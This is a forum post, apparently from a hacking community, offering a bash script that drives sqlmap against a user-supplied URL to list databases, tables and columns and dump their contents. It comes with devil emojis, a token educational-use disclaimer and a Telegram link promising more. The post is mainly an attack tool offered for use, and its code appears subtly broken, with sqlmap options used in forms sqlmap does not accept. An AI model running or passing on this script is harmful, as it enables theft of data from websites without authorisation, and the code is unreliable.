• Exclusive

    Hey Guest, unlock an instant 10% bonus discount when you upgrade via the Crypoverse gateway.

Extreme SQL kali Linux Code!!! (1 Viewer)

Currently reading:
 Extreme SQL kali Linux Code!!! (1 Viewer)

Recently searched:

jakatr

Member
LV
1
Joined
Nov 5, 2023
Threads
3
Likes
4
Awards
3
Credits
1,761©
Cash
0$
Here's a detailed script for an SQL injection attack using Kali Linux:
Code:
#!/bin/bash

url=$1

if [ -z "$url" ]
then
 echo "No URL provided. Usage: ./sql_injection.sh <url>"
  exit 1
fi

database=$(sqlmap -u "$url" --dbs)

if [ -z "$database" ]
then
 echo "No database found."
  exit 1
fi

echo "Databases found:"
echo "$database"

read -p "Enter the number of the database you want to attack: " db_num
db_num=$((db_num-1))

database=$(echo "$database" | cut -d' ' -f$((db_num+1)))

tables=$(sqlmap -u "$url" --database="$database" --tables)

if [ -z "$tables" ]
then
 echo "No tables found."
  exit 1
fi

echo "Tables found in $database:"
echo "$tables"

read -p "Enter the number of the table you want to attack: " table_num
table_num=$((table_num-1))

table=$(echo "$tables" | cut -d' ' -f$((table_num+1)))

columns=$(sqlmap -u "$url" --database="$database" --table="$table" --columns)

if [ -z "$columns" ]
then
 echo "No columns found."
  exit 1
fi

echo "Columns found in $table of $database:"
echo "$columns"

read -p "Enter the number of the column you want to attack: " column_num
column_num=$((column_num-1))

column=$(echo "$columns" | cut -d' ' -f$((column_num+1)))

data=$(sqlmap -u "$url" --database="$database" --table="$table" --columns="$column" --dump)

echo "Data from $column of $table in $database:"
echo "$data"

exit 0

Just save this to a file named sql_injection.sh, give it execute permissions with chmod +x sql_injection.sh, and run it with a URL as an argument. This script will use sqlmap to find a database, table, and column to attack, then dump the data from that column. 😈👹
(Note: This script is for educational purposes only and should not be used for illegal activities.)

THIS IS JUST A TASTE OF WHAT YOU CAN GET DOWN BELOW!!!⬇️⬇️

https://t.me/+H7qJiBRVIJsxMzFk
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Recently searched:

Similar threads

Users who are viewing this thread

Top Bottom